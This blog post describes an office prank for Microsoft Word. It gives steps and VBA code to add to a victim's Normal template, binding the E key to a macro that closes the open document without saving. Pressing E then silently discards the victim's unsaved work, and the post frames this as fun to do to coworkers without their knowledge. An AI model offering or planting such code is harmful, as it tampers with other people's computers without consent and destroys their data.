Remap ‘E’ Key to close Microsoft Word Prank

Well you have all in your life have once in your whole life have used Microsoft Word,

 

Its the most used in Offices , look this post displays a prank just to hack aka reprogram the Microsoft Word to Kill its procedure when Anyone  Hit ‘E’ Key.

MS-Word

This computer prank will drive your office friends crazy. So hell lets do it right?

 

Steps :-

 

Step 1: Open up Microsoft Word

 

Step2: Press alt F11, this will open up a vba editor for word.

 

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

 

Step4: Copy and past this code into the document.

Sub AddKeyBinding()
CustomizationContext = NormalTemplate

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _

Command:=”TestKeybinding”

End Sub

Sub TestKeybinding()

Dim x As Document

Set x = ActiveDocument

x.Close (False)

End Sub

Step5: Close word.

 

Step6: Enjoy.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s